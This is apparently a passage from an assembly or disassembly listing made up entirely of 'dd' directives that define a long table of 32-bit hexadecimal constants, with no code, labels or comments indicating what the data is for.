		dd 0EF071158h, 0A35861CFh, 32B1D382h, 0F93314F3h, 7CE2543Ah
		dd 0FC6DAB61h, 3C8B61A8h, 2CB57285h, 0FD2ABF85h, 9651F3F6h
		dd 0ABAA2C3Eh, 0A34C254Dh, 8330764Bh, 8EA115EEh, 0EB7E5308h
		dd 4AC1DE35h, 0C8081643h, 0F211A826h, 5670A08Bh, 5E1708EFh
		dd 0D1B42883h, 993CC04Ch, 0BD69C928h, 0E1F5B4B8h, 2D154112h
		dd 2F8A278Ah, 0ECA6A263h, 21F4F5F8h, 2628B2BBh,	22452483h
		dd 0A9E54779h, 413F2E89h, 89136DEAh, 0E93AA13Dh, 4790FE74h
		dd 4506A403h, 2BA4805Eh, 0B5E1CE59h, 0F4D340BEh, 494927B0h
		dd 0CC96476Bh, 32147531h, 8B7A1C4Fh, 0EC04504h,	0F2589EC1h
		dd 8FDC21C6h, 9C341E06h, 381FE6BEh, 0E5DD46FBh,	25A045B6h
		dd 9AC7CCB6h, 3F29F7D0h, 668BB2C5h, 51855308h, 7C3A336Dh
		dd 0D8DF8A5h, 771575C1h, 0B83EB680h, 72A5010h, 0E0DE265Eh
		dd 0AFD4CDEBh, 0C2552CD7h, 61523B78h, 0B53F0E3Eh, 35D2EF7Ah
		dd 0D6D6C6A2h, 87800E66h, 85820CE2h, 0A1AE971Eh, 0FE133E91h
		dd 9EB4BD6h, 0CEA19B45h, 0B896514Eh, 36D4F2ACh,	1E7AF752h
		dd 97026AB9h, 0ABBDE4C6h, 715F4787h, 0A2379A87h, 0BD168E38h
		dd 0F8702146h, 0D83D4F12h, 0E806B6E4h, 289A90EAh, 9964B239h
		dd 0D68F968Bh, 7819102Fh, 0F71A53A5h, 9AEA4D81h, 0B678F891h
		dd 113FD9Ah, 17C9218Fh,	805F4D54h, 582D15FBh, 95E1473Fh
		dd 113CFC0Ah, 0D97F55E6h, 29CA7124h, 7CB8BF85h,	41402913h
		dd 0A426EBFEh, 0FFF7B318h, 796BA19Ch, 435E652Dh, 0B7D5CF7Ah
		dd 6D6E9134h, 0D7453563h, 63779D3Fh, 0C3E05451h, 3AD57714h
		dd 2B1B04EAh, 0F4CAEF71h, 7277B6AEh, 406C23A1h,	0D52EB66Dh
		dd 28814747h, 1394D6B9h, 305E7D37h, 0B1186C17h,	60324B9Ah
		dd 3815A450h, 0A33366F6h, 0FAA7970Eh, 8AAB04A3h, 0CC5FC927h
		dd 75D3D9BAh, 163A3DBCh, 0D789B4FBh, 6103658Bh,	0D7244E5Bh
		dd 0FB84A8C8h, 65EF71F3h, 0DCEA3101h, 7211EED2h, 0E9C8FD15h
		dd 93F86ABAh, 0A8397BC0h, 7E797380h, 7850004h, 0B3220EE0h
		dd 0C83B385Eh, 0D0FFDC4Eh, 76C8575Bh, 981D63B6h, 8DAD029Bh
		dd 0AD34E4Eh, 3704495Bh, 92E604B8h, 0D174D8DEh,	0B46188CEh
		dd 90014E47h, 0D41D21D7h, 0C145A27Eh, 4D8719E6h, 7BB78CE6h
		dd 8FDE57Fh, 5357E245h,	4A61907h, 726C3D02h, 3C70B4E3h
		dd 0AEFB100Dh, 0F73F13EFh, 0F01EA992h, 651339E6h, 6AA467BBh
		dd 0D9EFA0CDh, 860E0969h, 0ED5E623Dh, 15D87CD5h, 7613A1F5h
		dd 81A15722h, 1CA8F90Ch, 86B5AEC7h, 0FB41181Ah,	3F55E112h
		dd 7D42E361h, 757F9B0Bh, 65775991h, 60A9C353h, 0CF1D882Fh
		dd 46B30DCBh, 53416475h, 7B2E776Bh, 478DC8A9h, 431555A7h
		dd 6A303DA0h, 47583815h, 0A116B637h, 0D357223Dh, 3EA11A00h
		dd 6C76B24Ch, 4808B8F5h, 86479DC1h, 28FA2F96h, 4B448969h
		dd 9AB46D43h, 4A6CE4DEh, 52BD9AE9h, 0FE66E8C1h,	1A610FBAh
		dd 29145500h, 0A85F4BA2h, 0AFFD47C4h, 2DC79C7Eh, 0C60FD13Bh
		dd 7641C7F1h, 1489B64Ch, 0F0C4360Dh, 0F004EA56h, 0FD0F2B92h
		dd 5070B674h, 0FA1DE338h, 0DDD87638h, 2234A189h, 6CD68398h
		dd 0FD1A775Bh, 0F2D49CC8h, 318743D3h, 0D53CE072h, 0F7B6184h
		dd 0C3BFB5BDh, 62466DD2h, 6815E577h, 0BE142BE7h, 0FC600007h
		dd 703D1ECh, 0C4AE6988h, 0DF49A577h, 6BA4EE52h,	4A049FAAh
		dd 6670E702h, 0D545094Ch, 0C064697Ah, 2D70A50Ah, 52C17331h
		dd 93088261h, 3F02C1C4h, 7761E4BDh, 0D75461E5h,	995C5E56h
		dd 397BE9F4h, 0E9D12F12h, 2F773C04h, 7D94F18h, 0F127FCB8h
		dd 0CE514782h, 8578911Ah, 12A1132Eh, 5E8D82Ah, 467845A4h
		dd 0CC88C03Dh, 387AA144h, 0C5441D5h, 3D924DC5h,	0EDE20761h
		dd 203A171Eh, 0FC681800h, 15D67EEEh, 1E28B661h,	44F0EC32h
		dd 0DE611441h, 7E14DCCCh, 0D876F051h, 59F470BAh, 0C8BBD36Dh
		dd 0A371FE0Ah, 83EFC8D0h, 0EF368E46h, 8006F2B0h, 0AB83EC7Bh
		dd 2CCA2B6Dh, 0F59DBC46h, 0C9FD62C3h, 0D463D22Eh, 4D97A22Ch
		dd 61B0BCDCh, 9A3834CBh, 19B0A86Fh, 0F0F62B3h, 49251029h
		dd 792481A9h, 4BBE5ECDh, 91AB9E07h, 0A8730EBEh,	3FD5B8C8h
		dd 35B215E7h, 0ADE098F3h, 0C2F3BF9Dh, 9C1CF2FFh, 0C07393E7h
		dd 0A76E33ECh, 4DA87E9Ah, 409A9467h, 10968h, 0D240F03Eh
		dd 33E8703Ah, 5116D045h, 2EBC20AEh, 1B8DF9F8h, 0EC6FCD06h
		dd 0FC13093Ah, 0DCECC80Eh, 0F3A4D941h, 856149FEh, 8BE617F8h
		dd 0F598DBBDh, 6BE5424Fh, 5EDF066Dh, 89618201h,	5A1C9FECh
		dd 7A3E6012h, 6E06076h,	0C297B5B9h, 0B24014B5h,	0DD5B0F61h
		dd 934BDF39h, 7BAD34E0h, 3DAD24A7h, 8A0E2300h, 0AD8F88E6h
		dd 6060F805h, 28BBC447h, 0BE347F1Fh, 5C7E162Ch,	0E61E171Bh
		dd 9E9C886h, 53647229h,	0EEB7E447h, 741A3A6h, 0F8D82E7Ch
		dd 0BBA757C4h, 0D248B267h, 9D06D635h, 844057EAh, 79215E14h
		dd 799FEBD1h, 0E5D5471Bh, 1D172F2Eh, 0EA00B5FDh, 0CF248760h
		dd 49E47422h, 0DF9B9BEBh, 7E79007Fh, 0D4B573DDh, 714BC58h
		dd 32FA422Ch, 1E794DCDh, 70A6776Bh, 0EE5B7BDh, 0E24BF3BFh
		dd 0F9612D76h, 2B248CFEh, 5CCD1F13h, 0A35439FBh, 0A729EEF0h
		dd 4529F92Ch, 9B666A5Fh, 8DE736E1h, 37771F64h, 7A6435ADh
		dd 2BE87A95h, 0FA69ADF5h, 39C4A046h, 8A8BD878h,	0C613FECAh
		dd 3140880Ch, 0E8DD65EEh, 65422579h, 0EAD5FFFBh, 8CC5A6DEh
		dd 0A0266712h, 6CBCE5B8h, 0F2B28B45h, 3B441090h, 0D8BE7C1Dh
		dd 54358054h, 10144764h, 0C07F1712h, 0F2F454BAh, 4F3C6E78h
		dd 0A0C1F7B8h, 865795B1h, 5BA5576h, 0C1DF5E4Bh,	0B599283Dh
		dd 0D75BD61Ah, 0A709CAC4h, 45030124h, 0F80EFA7Eh, 56E7C90Fh
		dd 0B87571F0h, 815A69C0h, 12D9C37Ah, 4B00AFE5h,	59E45FC4h
		dd 56CFC034h, 0AED3CECBh, 87BF5906h, 65F1E95h, 9A18B39Eh
		dd 3DB5E81Ch, 0A59E97C5h, 0B51E8A6Bh, 68910DEAh, 0E700787Fh
		dd 3E9F47Ch, 12E991F8h,	66E5840Ch, 7D911F18h, 6D785D6Eh
		dd 0F1C0CEE8h, 5D6CE004h, 0B3BBDEBDh, 0D823113Ah, 5217437Eh
		dd 0B956E048h, 0D8B72FF6h, 287A16E8h, 25D2D30Dh, 0A96CC1CFh
		dd 575A6A4Eh, 7BE6C9FEh, 0CFCE9864h, 717E763Eh,	0EFD4198Ah
		dd 0B69BB1F4h, 867B67C5h, 0DDD6A5E3h, 732212Ch,	86BCC38Bh
		dd 67A7954Eh, 0DB1F480Eh, 261512DFh, 4A985A01h,	9F08B00Fh
		dd 0B3569D6h, 0B8238C4Ah, 8611B3B4h, 564137A7h,	0BAE92836h
		dd 0FDEB81AEh, 0C84A5A29h, 4BE394FAh, 284D18BEh, 0A84F83C2h
		dd 0E5B1EDC4h, 85DEAE52h, 0C01752ECh, 94298157h, 7F7B3601h
		dd 4A32AA46h, 77796C66h, 0FBB715A1h, 0C21A3E59h, 92F44270h
		dd 0AEF053C0h, 9F5D287Bh, 0E5884C0Ch, 71B498E2h, 2EB48077h
		dd 0AB6A0876h, 0C2BF2863h, 0D9A65DC6h, 23DD3399h, 0FE63E226h
		dd 0C69ED1EEh, 8AAC4D71h, 6341856Ah, 6CFBA1CFh,	28F43F68h
		dd 37FA21Bh, 0C103F0B7h, 880589AEh, 0FE630EFCh,	86B981DAh
		dd 0EBBD6779h, 4D465Ah,	5D5C10B1h, 0DF0A8FAh, 0D5808664h
		dd 772727C3h, 9A6B04C2h, 0A5B56180h, 0C826F90Ch, 4B606A17h
		dd 2B91091Ch, 0B483AF16h, 57E1773Ah, 94899E5Fh,	0D3F080BCh
		dd 0CDADCD67h, 8F4BDB2h, 23C1C4E8h, 80BFF79Fh, 0F8D41BC7h
		dd 7DB1481Eh, 2DE0CCA6h, 94518B77h, 0ADB215C4h,	0A86EC210h
		dd 1D26CD8Ch, 20AE562Eh, 7CC5D672h, 6E9BCF29h, 0F3E31101h
		dd 0F406EA6h, 0ED7F504Ch
		dd 0EFBCDB44h, 0C64D5648h, 22487C7h, 0ED0936E6h, 0F4FA370Ah
		dd 0D1894808h, 171E0CEFh, 81E1DE01h, 28F579FBh,	0ED170DFAh
		dd 0DC255651h, 0C4004356h, 51AAFFC0h, 1D11A7Bh,	247548E2h
		dd 339B6FD9h, 55CB445Dh, 4D6E9877h, 0F637E867h,	2DC398Dh
		dd 3632B26Bh, 3E89E8B7h, 9B76A547h, 3F009C72h, 6E17E869h
		dd 41E2628Fh, 3FD13426h, 4B85A4DFh, 0BCDF38BEh,	0F2EB9D31h
		dd 0B6FEF3Fh, 0E1DB506Eh, 92B0DB04h, 9C4DA76Dh,	5DB3B1D0h
		dd 52C2F055h, 0BFE80BAFh, 7EE2D8F6h, 4E4599F7h,	0BD0C5394h
		dd 5D8FD5FCh, 0A7167B7Bh, 0DC2D2D9Dh, 0B2BA9A81h, 2EB8D23Ah
		dd 1C099885h, 0F0D06280h, 3CD439C1h, 0AF9C524Fh, 14FC9ED8h
		dd 0F77A413Eh, 0D82B6ABFh, 3205CF57h, 52FF65B7h, 8B876129h
		dd 1ACA438h, 3120FF69h,	988B9C3Fh, 0D895B1C6h, 6C03126h
		dd 0C6983043h, 8EFC2A06h, 8484ED0Eh, 350D941h, 9B3FAF7Dh
		dd 2FB634FDh, 0BD2E0B05h, 6CA6F6B1h, 0C0315753h, 3D2F297Fh
		dd 0E8E391CEh, 0A595E6F1h, 8DE2B3F4h, 91E9EA1Fh, 0DC3602DCh
		dd 5BAE1AD6h, 499D0FCEh, 628B667Bh, 0E0A52F7Bh,	24DB77C2h
		dd 54535D35h, 4B09D7D1h, 69C868E3h, 1566275h, 2E2BB269h
		dd 2129E8B7h, 0BB9EA599h, 0E2B74C38h, 95710074h, 0E7679DF4h
		dd 8519E156h, 0D27FA4D1h, 0BD23B99Bh, 821D0F0Eh, 0F678ED94h
		dd 398A3E5Ah, 0C7BD22F1h, 398E47C9h, 225B8A4Eh,	6AD6808Fh
		dd 0CA48D2FEh, 0FC10A40Ch, 63337A08h, 5A4A96E0h, 764CAE67h
		dd 15602DEFh, 27A40A9Dh, 0B83232D5h, 0A21C3DCAh, 31CE95D4h
		dd 0EFE7EDFBh, 3D060189h, 26A4624Fh, 0ADE403ABh, 6CD6D898h
		dd 18D41EA1h, 0DD27341Dh, 0A199D7CDh, 58291293h, 0E56C4397h
		dd 0DDE4509Eh, 67946171h, 5D66BEF8h, 77BFBCE8h,	0BAE1BD8Eh
		dd 58EB856Eh, 596CEC73h, 0F9442BBDh, 0CFBC3D7Fh, 864D4D48h
		dd 82249FFFh, 1232DA67h, 0E3E496EBh, 732C9DEBh,	4674A9F1h
		dd 0B26536CAh, 9D0B58FCh, 9761B3A7h, 0DC3031C1h, 6074F5F9h
		dd 6E6C8545h, 8B5070C4h, 1F7B4376h, 265903C1h, 0A8CB7A4Bh
		dd 0A9F53D21h, 0EA379798h, 1AD325B1h, 0ECF5DFB2h, 55DC1748h
		dd 0AD35FBC3h, 1514112Bh, 74D2E51Eh, 9B2DCE7Eh,	0E9314DCEh
		dd 603C31DEh, 0C41BEF55h, 8CD7F3D8h, 67C999C9h,	8AFE5965h
		dd 0A5D176ABh, 0A0B24291h, 4AAE03CDh, 724D10C0h, 0CB563493h
		dd 6080EC60h, 0E8E278B7h, 0DFB6DFB4h, 0F72E5E63h, 0EEAEE0CEh
		dd 9269789h, 0C8430144h, 252DC805h, 8C2BFD87h, 0E3E42176h
		dd 89944FB5h, 54AB6158h, 0A3B5F8D1h, 82331339h,	627DDD14h
		dd 3D003607h, 0DEDA1748h, 0B18FF2CAh, 9FECB3A3h, 0D8D9006Dh
		dd 64B4EB9Eh, 0A6943855h, 93FA4D1h, 0ECE03F16h,	1C147A98h
		dd 10E8693Eh, 0B2B92BFBh, 8045A3B7h, 563BBDC0h,	42248546h
		dd 6DC619F8h, 0EC6C2F6Fh, 1B61826h, 0E8E2D957h,	26F0FD16h
		dd 14F71554h, 0ED14855Bh, 0B1259406h, 1D4D0105h, 0AEFE862Dh
		dd 45B79D94h, 0B839E3F3h, 0B0E7E30Fh, 0DEB61FA1h, 7FAD392Ch
		dd 0AF332867h, 0E9424E23h, 6B9B26Fh, 6D8BE8B7h,	44A9083h
		dd 66038844h, 0E7958550h, 1B596288h, 250D342Eh,	909A4D3h
		dd 0CD1BCF8Ah, 7B009DF9h, 0DA7F04E9h, 27DDD424h, 98C670F9h
		dd 970FC840h, 0F72484C9h, 0C584AB80h, 400FE89Eh, 88D12CCEh
		dd 579840D4h, 4A8A691Ah, 0CE08AAB3h, 122F77C6h,	12912C89h
		dd 141600E9h, 0AEA9F903h, 74DF3342h, 64FDF599h,	25BBCB52h
		dd 0DEF417E0h, 0D0794C2Ch, 90525E37h, 6A299E62h, 0A3E0CA22h
		dd 0FDF399A0h, 0FD94949Ch, 200B4C31h, 823E68C4h, 0BBC38D77h
		dd 8351B195h, 44316Bh, 0CD9B542Bh, 627C2A56h, 9B84ECC9h
		dd 0AABB2B3Bh, 4462CEEAh, 3337453Fh, 158D794Bh,	0EDD2C9C7h
		dd 7FE63F5Fh, 0DBD00820h, 17C742BEh, 6A9C5EF1h,	0C4516ABBh
		dd 0EDB46833h, 0AE9B3B46h, 0B2B6442Ch, 0AE47EFBAh, 31DB7BEEh
		dd 916B773h, 0DA641BB3h, 0AF49A535h, 50977BC6h,	4CF7D567h
		dd 0E85CDE49h, 84E7CC61h, 0F9314121h, 0D556A5B7h, 9370A706h
		dd 986BBBF8h, 2B9A7564h, 82E8B1A7h, 7270DEBBh, 0A8DDCF55h
		dd 9AEB85E9h, 0F1EEA8BCh, 0F6339169h, 0A845A371h, 0BE2BB40h
		dd 0DDDB4179h, 26DE2413h, 0BFF087EBh, 0E05479DEh, 47E21827h
		dd 5A5EF615h, 0F55B7AC3h, 2F5B71Ah, 23FA9BB1h, 418F8369h
		dd 84805793h, 0F1C57084h, 1EAF168Fh, 0B4734D5h,	4B8B0915h
		dd 5BC762D1h, 94704468h, 3B7FE1B6h, 0EDEE9D71h,	0B399D779h
		dd 0A9BC2CC7h, 58A1905h, 0D879EC11h, 0CD589D74h, 0B71476F1h
		dd 773FA4C9h, 4B6430A6h, 9964FF7Eh, 0F7861346h,	2BB3910Fh
		dd 0A0C653B9h, 87552CC0h, 57337636h, 0BD2E6BBh,	3F7D72E0h
		dd 0CD5A07DDh, 4F987ED2h, 0A8A0906h, 9D237623h,	919DBD9Eh
		dd 0CBD9C5A3h, 4D352FF2h, 5804E71Ch, 1E571BC2h,	92281F1h
		dd 0DA240225h, 0A5DE9239h, 0D4301144h, 9A44573Bh, 0E200B619h
		dd 2D6C37E2h, 60007144h, 3BAD5AC0h, 0C5F44CC4h,	78248998h
		dd 73E4628Ah, 0DBF1A546h, 8DAA53DCh, 0A96D56A2h, 98EB85EFh
		dd 6D86924h, 1B322B5Bh,	0B8C6D828h, 364D57D5h, 0E2248862h
		dd 4210CC6h, 36E6F369h,	4FD1E022h, 0E8E28759h, 5A76060Ah
		dd 0C261FCD3h, 0FAE66CB4h, 23C8EA46h, 8F15AB0h,	0EBFFBE45h
		dd 30787005h, 0A4F6ED71h, 984924BDh, 0F0435234h, 0F8D55122h
		dd 2BB884Eh, 8AA79DC0h,	0A058B864h, 432C4758h, 0B25CA5B5h
		dd 0FDF64F4Fh, 5B6E6618h, 0DF2D9365h, 9E17B12Ah, 0A22A5BB1h
		dd 0D314B533h, 0A4484B6h, 76888699h, 0CDEB5701h, 4F10E554h
		dd 0CE72C23Fh, 2533273Bh, 0DCD2EAB8h, 0C10706A8h, 0E087E82Ch
		dd 71D0DE6h, 5A58DC19h,	0F75033DBh, 7E73617Ah, 73383AC6h
		dd 4D2105C1h, 51C2D145h, 9DE17384h, 0E100C6D6h,	0C899E0BBh
		dd 9C15ADE7h, 968C312Eh, 67BBB98Eh, 0C7428849h,	9E03738h
		dd 0D5C539FBh, 21D3FCC5h, 0BF88B386h, 0DC148DC1h, 4A046285h
		dd 0CB5BB1C9h, 0E2801EB5h, 6B3D8EDh, 0A1917B41h, 0A96CF2F4h
		dd 0ABBBD74Dh, 373900B0h, 5D3143CAh, 0AA0043Fh,	0ADFA3E79h
		dd 0A9CFDA68h, 88D1D0ABh, 0CEE94F96h, 329E468Dh, 0C4092ACDh
		dd 6672E717h, 1A393A26h, 0B2CC4BECh, 2E52CC3Ah,	2CFDF9h
		dd 634D7CBEh, 0C5BF9F58h, 0E8F909C5h, 128A2EA6h, 0CC53186Bh
		dd 0BD2A1E61h, 0AF85B4DBh, 0C2484AC5h, 5C08A62Bh, 60736471h
		dd 8859B79Eh, 4319F52Ch, 0C7F9A1A2h, 31C05B10h,	0C7333C72h
		dd 62145336h, 0AF875B76h, 9293AFECh, 0FF8E2F3Ch, 82F45ED4h
		dd 42241E92h, 672C6D69h, 3E8E6B64h, 608627D1h, 171D1F89h
		dd 429B6B8h, 0C0FA63B0h, 45A1BF9Dh, 4B861EC8h, 4D3DE949h
		dd 52ADADBAh, 0F6E56D84h, 0E9CCC08h, 3A5F95D6h,	17723C4Fh
		dd 47BDA122h, 6E7DA101h, 0D67A98FEh, 69F93255h,	92930748h
		dd 7BA72574h, 0CABCF39h, 7E4789F7h, 3AAF6BFEh, 0E0B706B2h
		dd 0B2705739h, 21F144A2h, 6FB7BDE6h, 0AB94EC99h, 7E97BF25h
		dd 32C6307Ch, 53B2B513h, 95DEC438h, 7DC2EC66h, 0B5280B3Bh
		dd 0D1883FD0h, 0D69C741h, 5A869E24h, 911393E3h,	66E06CDEh
		dd 4BC5AF94h, 5D3FF2C5h, 52A5AD3Ah, 18776E84h, 0BE0F0A0Ch
		dd 96874F60h, 46D58033h, 203D512Eh, 8B7B3963h, 0B7F0AF0Dh
		dd 85F16E5Dh, 3DAA1722h, 6894B062h, 0C85CC0h, 0DB99006Dh
		dd 9A5BBD5Eh, 0F825B1DCh, 4FD04E9Dh, 9959214Eh,	19147BE9h
		dd 805FDE4Fh, 7A9BE43Bh
		dd 3AC63CBCh, 63B2AD9Fh, 0DFB79B4h, 64D32296h, 93CD04B2h
		dd 0E027797Eh, 71ECE79h, 5A00B6EBh, 62127AFBh, 1204582Bh
		dd 0A6704CA9h, 7C157672h, 509EFDB3h, 75EADF91h,	771BC6E3h
		dd 43F4ECEh, 42159833h,	28BD612Eh, 738D1774h, 423BDEB9h
		dd 510E97F7h, 95E49459h, 6436A56Ah, 0FDE41F00h,	8971F0BAh
		dd 2BBFE960h, 0E5F55A0Fh, 6AAD33BBh, 298E214Ah,	78EB7B8Bh
		dd 0D58413F9h, 864BF547h, 3304AFECh, 63A2504Fh,	0C8247E43h
		dd 0BDD3CC06h, 400EEC57h, 0B9C74529h, 22E12413h, 4A6826B9h
		dd 61B23EFCh, 377A7C0Eh, 33B2367Dh, 16C38B69h, 9E87E806h
		dd 0ACA31072h, 0FEBAE9F3h, 0D7040C56h, 66052B0h, 0D42D61D2h
		dd 26634DA4h, 0E5DD2F45h, 0EDE748B1h, 9CDE17B5h, 2AD02C41h
		dd 69368F98h, 8D95817Bh, 0C98B9D68h, 0C4CC3A98h, 36D42EEDh
		dd 0AA6745B0h, 2A7E7BDFh, 8209EF53h, 0FA538138h, 9C392D13h
		dd 56755CFBh, 3DDB1A8Bh, 1908B397h, 19A53F70h, 0D5C282Ah
		dd 0E8E18076h, 75911EC9h, 0C44AEB0Bh, 973FEBF5h, 0DC4E31C5h
		dd 45788129h, 50C6CE45h, 0F08B71F1h, 15F0C4Fh, 0E8DDE06Eh
		dd 0EAEC95B0h, 0D3D582C5h, 0C0A8A8BEh, 5EDCE2CCh, 0AD1B671Dh
		dd 0FCCF1766h, 30F920C3h, 59F424D0h, 9CEC109Eh,	0E5646ADDh
		dd 0FB3C5999h, 0EAD95B64h, 28E84CC1h, 0E37C5F85h, 4494EFF0h
		dd 14C6D21h, 0B3D17D83h, 5AB25390h, 11AEA06Eh, 0DA6FB11Ah
		dd 0A85EAC9Ah, 88D10F88h, 92931E95h, 0A596E139h, 21562643h
		dd 78FA06BEh, 49B0AC19h, 27076FE9h, 135C37C5h, 25818573h
		dd 0EB4FFD99h, 0D6C4F886h, 9A815D35h, 958D34D1h, 59477798h
		dd 0B7D462E9h, 4F874167h, 6A6092C2h, 52A55A65h,	15A44028h
		dd 0A696F732h, 66CB889Eh, 14E0A1C8h, 391B052Ah,	7DA76CB2h
		dd 84959E00h, 0CB84EB11h, 90EC8617h, 653947BCh,	5BB3393Fh
		dd 6DDB8148h, 13972F68h, 7875F64h, 51BA4063h, 28F647CEh
		dd 396C949h, 0E8ECEE42h, 0FB3ADDF9h, 23AFC71Bh,	4D6905C3h
		dd 0C55DBD46h, 8A761184h, 1D7F786h, 0C61A482Bh,	0E4F60CA0h
		dd 6264E546h, 97A88077h, 0FC8D21B6h, 4F81EC67h,	0D9D8E81Eh
		dd 153EA564h, 40BBA503h, 0C839009Fh, 0E56B9DBFh, 0E8D9BDBEh
		dd 0E9005B43h, 0AE22B803h, 96300E77h, 8EECE37Ch, 1EABD0BDh
		dd 8C6FA26h, 0DCE10BE7h, 5D251524h, 0B82C6F8Bh,	500EB530h
		dd 3B38DFF4h, 0E81FA790h, 2F965918h, 443A43ABh,	0A1137FCEh
		dd 0A0513F0Eh, 4D6905ADh, 531DB83Ah, 6E854484h,	0FE6C5C70h
		dd 0ACD18C4Ah, 4F00F2B1h, 98C224A3h, 0A6E6B798h, 0ABD03172h
		dd 0F0EC7361h, 0E66AEB0Ch, 3408A665h, 9C6FC94Eh, 8A89FF60h
		dd 631B8899h, 1694A1CAh, 0A13F911Bh, 3364CDC6h,	0A1ECFE10h
		dd 47D21106h, 32BBFD0Fh, 6AC67D64h, 0C3B2AC7Dh,	0F1CEA565h
		dd 0EEC33E66h, 3FF5BFC2h, 0A8A50739h, 0E813C26Dh, 52017D1Ch
		dd 7500EB72h, 0ED0438E8h, 0DCA1047Ah, 58F2055Ch, 0BFA55085h
		dd 638D95B5h, 6C560Ch, 29CFB04Bh, 54A57568h, 9C410638h
		dd 78BAECE4h, 0F78F1E89h, 2411BEB9h, 63B2428Ah,	43EA522h
		dd 29F6A4C3h, 4F92009Fh, 15061630h, 0A713403h, 7280A493h
		dd 0DD1431D7h, 859D7B6Eh, 695986BFh, 0F553C024h, 3EC6D1ABh
		dd 0C337D8E8h, 0CD24A4FEh, 2DDCC3F0h, 841BBC7Fh, 5C10F3Bh
		dd 0E8C38711h, 5A03C59Ah, 9DC873DBh, 1201E2BEh,	73533F55h
		dd 0B1C71D16h, 2A24BCC5h, 8AA18A84h, 0CB9873A3h, 9FB84BC0h
		dd 0B335F8E9h, 603FD2AAh, 48338567h, 0FF2E6195h, 7525748Ah
		dd 28BCFF59h, 4D4D5A65h, 0EB8BC94Eh, 3199FF60h,	9D2B9298h
		dd 2A95A43Bh, 30CD4B72h, 0DD9BC12Eh, 2C1411F9h,	0A3843664h
		dd 0E6BB5549h, 9069D142h, 0F34E9D24h, 0ADE6DF22h, 87C3239Eh
		dd 0C08BF27Eh, 0D82D0830h, 0DB0A68C1h, 0DF79B59Dh, 2894647Bh
		dd 7A84EFBEh, 23ABC039h, 0BD098D24h, 50FD50BAh,	75AA8791h
		dd 27F34FE3h, 43EAA03Eh, 43CA89B0h, 4C6F197Eh, 12EEE867h
		dd 71D15BC4h, 0FCAEC81Dh, 9D517CCh, 38FEF565h, 9E874CEEh
		dd 411E68C1h, 98B68D64h, 284E5DC7h, 99C9B320h, 4BD312Ah
		dd 4591F6F6h, 0E57B1125h, 26976A0Ch, 3F6077FDh,	0F3B28D1Ah
		dd 31DBD0BFh, 4583DF67h, 400E57D9h, 0D5FA698h, 0E8E00B98h
		dd 5AEC582Dh, 0CDEFD433h, 125DF5E6h, 0F61A2949h, 8988F796h
		dd 0C5B1C5C9h, 75CBDD85h, 0AFAFD61Fh, 360729B3h, 5425924Fh
		dd 9EC11D38h, 0CFA70CE4h, 0FBDC6A89h, 6DFEA092h, 128E02B6h
		dd 7FBB59Ah, 0FBEB4CA8h, 26A90068h, 9DF73171h, 0D7143CD6h
		dd 0E53FA4AAh, 5D4837CEh, 869122B9h, 3209E3CDh,	0DD440C84h
		dd 9F2CD06Dh, 1EA254CDh, 0C22B56B7h, 853B7666h,	990E7752h
		dd 85A62747h, 0E71F7217h, 0A5390A86h, 9DED2BDEh, 146DBC8Eh
		dd 7A563EACh, 4CDA12C1h, 0F4EBF145h, 0B61BBD0Dh, 76E91A30h
		dd 6166BF6h, 583C0073h,	0EAE9427Eh, 0B386A43Ah,	90D75621h
		dd 1DEAC8F2h, 653717B5h, 0B112B5E7h, 67CAB3CEh,	0F1B1019Eh
		dd 0E2E47E8Bh, 0DF843A98h, 0B13983FDh, 0C5E43122h, 849D8246h
		dd 0B9EED942h, 2B44E65Bh, 5738299Dh, 7C562C59h,	111FD4CDh
		dd 685A2212h, 6AE62385h, 0D8D2EFE1h, 1619273Dh,	521AEA65h
		dd 9DC929BBh, 0C632867Eh, 0E72B3EE6h, 8A7440E5h, 0D0622BC1h
		dd 4CB63A41h, 0EACF3DF2h, 0D1C75846h, 0E3B59D81h, 3BD38875h
		dd 0CFE0DBA4h, 1CDEBA05h, 54EF93BEh, 5528FCB6h,	0D595A1D9h
		dd 24F31749h, 0D8EE0459h, 9CAB9D9Ah, 52D5CCC0h,	31A82EA1h
		dd 0D570156Ah, 1FCCF173h, 32D12DC2h, 2E5750A1h,	276E79EEh
		dd 0A3B35139h, 81AF45CDh, 0D82C3A99h, 0D00F6998h, 7731EA24h
		dd 1F778E61h, 0A57A3477h, 9DED13CEh, 0CAF4866Eh, 694FD139h
		dd 150EF472h, 2A55ECCCh, 77BD2744h, 0FFD00Ch, 162A44Ah
		dd 0B5DC40C5h, 0BF312Dh, 0AD512DA0h, 1624EF6Dh,	0BC0C787h
		dd 26097F49h, 0B1E1B59Ah, 57F7B06Eh, 69853D1Ah,	69FB8D6Ah
		dd 0D286BEDFh, 0AA00AB70h, 5A533E6Ah, 5114884Dh, 5A9D06D9h
		dd 4FE22C9Bh, 37C93B5Eh, 0A60559A1h, 4DDBA13Ah,	0A86427C9h
		dd 500E9B74h, 6FB8379Dh, 4E46D87Fh, 0AA6660F2h,	0F9793BE3h
		dd 0FA976E96h, 0DC59126Bh, 9785230h, 4FC4202Dh,	6BA9B4D4h
		dd 0BA9931F3h, 843093E2h, 0C88A1D56h, 0BF6949F2h, 0C95F5867h
		dd 182DE19Ah, 7843BB26h, 0ABA117A5h, 81F0A562h,	0EE0CB314h
		dd 191CECDCh, 9EAE1965h, 0A2EEB1C2h, 664CB392h,	0D63DCEC9h
		dd 0BA69FB9Fh, 0EF01E179h, 7ABBD306h, 2F39F07Fh, 0AC6103D9h
		dd 0AD40BCCh, 9283C8DBh, 0B5F18F0Eh, 50DA2F22h,	0D39CC87Dh
		dd 2FAAF005h, 453783FBh, 216FFE5Eh, 7A5A3E2Ah, 4CFF15C0h
		dd 7791C045h, 694E4D84h, 0A61FCC20h, 0C17FDDF9h, 56BAB5A0h
		dd 9840ACD8h, 99B14037h, 923A4E49h, 403EC831h, 3BC7FF10h
		dd 449F5A65h, 4A6C48B6h, 6C7E0141h, 196C92B3h, 0C77141D1h
		dd 4680D2Ch, 0DD1BCEEDh, 83917495h, 6DECFE1Ch, 0E6ABD3F3h
		dd 0D8C6FAA7h, 4277B0E8h, 48B35333h, 0C5C32C49h, 0BFF1B1B1h
		dd 0F93A9996h, 4EE0F865h, 0DF9ED08Ch, 0F50EDF33h, 280B999h
		dd 0DC767071h, 0D0165316h, 5989A8C4h, 459F86C1h, 0FFF09877h
		dd 16DDFC3Eh, 2912ADB0h, 3DC0BEFCh, 41B70C0Fh, 4DE27649h
		dd 9C98481Dh, 7BA9DB0Ch, 4081264Bh, 0DABCA4CCh,	9E00FF7Ah
